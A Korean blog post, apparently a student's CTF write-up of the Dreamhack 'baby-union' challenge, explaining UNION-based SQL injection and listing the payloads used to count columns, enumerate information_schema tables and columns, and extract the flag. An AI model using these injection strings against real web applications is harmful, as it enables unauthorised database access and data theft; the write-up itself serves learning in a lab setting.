baby-union
문제 설명
* SQL Injection
사용자 입력값을 검증하지 않아 설계된 쿼리문에 의도하지 않은 쿼리를 임의로 삽입하여 악의적인 SQL 구문을 실행시키는 공격이다.
- SQL INJECTION 취약점이 무엇인가?
웹 어플리케이션과 데이터베이스 간의 연동에서 발생하는 취약점으로, 공격자가 입력 폼에 악의적으로 조작된 쿼리를 삽입하여 데이터베이스 정보를 불법적으로 열람하거나 조작할 수 있는 취약점
* SQL : 데이터베이스 관리를 위한 특수 목적의 프로그래밍 언어
- init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다르다?
문제 분석
우선, 문제에서 init.sql 파일을 이야기하였으므로 다운로드 받은 파일 안에 있는 init.sql 코드를 확인해준다.
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
그 중 해당 코드가 로그인과 관련있어 보여 하나씩 넣어본 결과 아래와 같은 결과를 확인할 수 있었다.
SQL INJECTION 취약점을 이용하기 위해 SQL UNION에 대해 알아보았다.
SQL UNION 연산자는 두 개 이상의 SELECT 문의 결과를 결합하여 하나의 결과 집합으로 나타내는 데 사용된다.
UNION SQL Injection은 기존의 SELECT문에 UNION SELECT문을 추가하여 원하는 정보를 데이터베이스에서 추출하는 공격이다.
공격자는 이러한 점을 이용하여 기존의 SELECT문에 원하는 데이터를 추출하기 위한 UNION SELECT문을 추가하여 쿼리 결과를 확인할 수 있다.
다음은 UNION SQL Injection 공격 진행 과정을 표로 나타낸 것이다.
1) 먼저 컬럼 수를 알기 위해 입력해준다. 컬럼은 4개이다.
' UNION SELECT 1,2,3,4#
2) DB 명을 파악한다 (원하는 테이블과 컬럼을 파악하기 위해서)
여기서는 secret_db이다.
' UNION SELECT 1,database(),3,4#
3) Table 이름 파악하기 (원하는 데이터를 추출하기 위해서)
information_schema.tables을 이용하여 DB안에 있는 테이블들을 확인한다
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='secret_db';#
4) Column 이름 파악하기 (원하는 데이터를 추출하기 위해서)
information_schema.columns을 이용하여 테이블안에 있는 컬럼들을 확인한다. (only flag가 의심스러워서 우선 탐색)
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='onlyflag';#
5) 데이터 추출하기
위에 얻은 정보로 원하는 데이터를 추출한다.
' UNION SELECT sname,sflag,3,svalue FROM onlyflag##
플래그를 획득한 줄 알았으나...! 이렇게만 입력하니 오류라고 떠서 아래와 같이 확인해보았다.
' union select svalue, sflag, null, sclose from onlyflag #
제대로 원하던 결과가 모두 나온 것을 확인할 수 있다.
처음 접했기에 이해 안 되는 부분도 많고 SQL에 대한 공부가 필요할 것 같다...!
참고
'SWLUG > CTF' 카테고리의 다른 글
[CTF/Dreamhack] simple-web-request (0) | 2024.05.11 |
---|---|
[CTF/Dreamhack] pathtraversal (0) | 2024.05.11 |
[CTF/Dreamhack] phpreg (0) | 2024.05.06 |
[CTF/Dreamhack] php7cm4re & Flying Chars (0) | 2024.04.27 |
[CTF/Dreamhack] devtools-sources & Carve Party (1) | 2024.04.27 |